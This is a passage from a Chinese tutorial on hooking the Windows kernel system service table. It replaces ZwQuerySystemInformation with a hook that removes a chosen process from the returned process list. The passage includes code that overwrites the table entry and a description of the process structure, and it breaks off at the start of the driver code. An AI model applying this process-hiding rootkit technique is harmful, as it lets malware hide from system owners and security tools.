rtablebase[0x97];
keservicedescriptortable-> servicecountertablebase[0x97] = newfuncaddress;
在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《undocument nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 zwquerysysteminformation中包含有索引号的硬编码:
kd> u zwquerysysteminformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把zwquerysysteminformation入口处的第二个字节取出来就能得到相应的索引号了。例如:
id = *(pulong)((puchar)zwquerysysteminformation+1);
realzwquerysysteminformation=((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[id]);
((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[id] = hookzwquerysysteminformation;
3.对ntquerysysteminformation返回的数据进行删改
ntquerysysteminformation的原型:
ntquerysysteminformation(
in ulong systeminformationclass, //查询系统服务类型
in pvoid systeminformation, //接收系统信息缓冲区
in ulong systeminformationlength, //接收信息缓冲区大小 out pulong returnlength); //实际接收到的大小
ntquerysysteminformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过systeminformationclass号来区分功能,当systeminformationclass等于5的时候是在进行进程的查询。此时返回的systeminformation 是一个 _system_processes结构。
struct _system_processes
{
ulong nextentrydelta; //下一个进程信息的偏移量,如果为0表示无一个进程信息
ulong threadcount; //线程数量
ulong reserved[6]; //
large_integer createtime; //创建进程的时间
large_integer usertime; //进程中所有线程在用户模式运行时间的总和
large_integer kerneltime; //进程中所有线程在内核模式运行时间的总和
unicode_string processname; //进程的名字
kprioritybasepriority; //线程的缺省优先级
ulong processid; //进程id号
ulong inheritedfromprocessid; //继承语柄的进程id号
ulong handlecount; //进程打开的语柄数量
ulong reserved2[2]; //
vm_counters vmcounters; //虚拟内存的使用情况统计
io_counters iocounters; //io操作的统计,only for 2000
struct _system_threads threads[1]; //描述进程中各线程的数组
};
当nextentrydelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。
4. 核心实现
//系统服务表入口地址
extern pservicedescriptortableentry keservicedescriptortable;
ntstatus driverentry(in pdriver_object driverobject, in punicode_string registrypath)
{
……
__asm{
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >>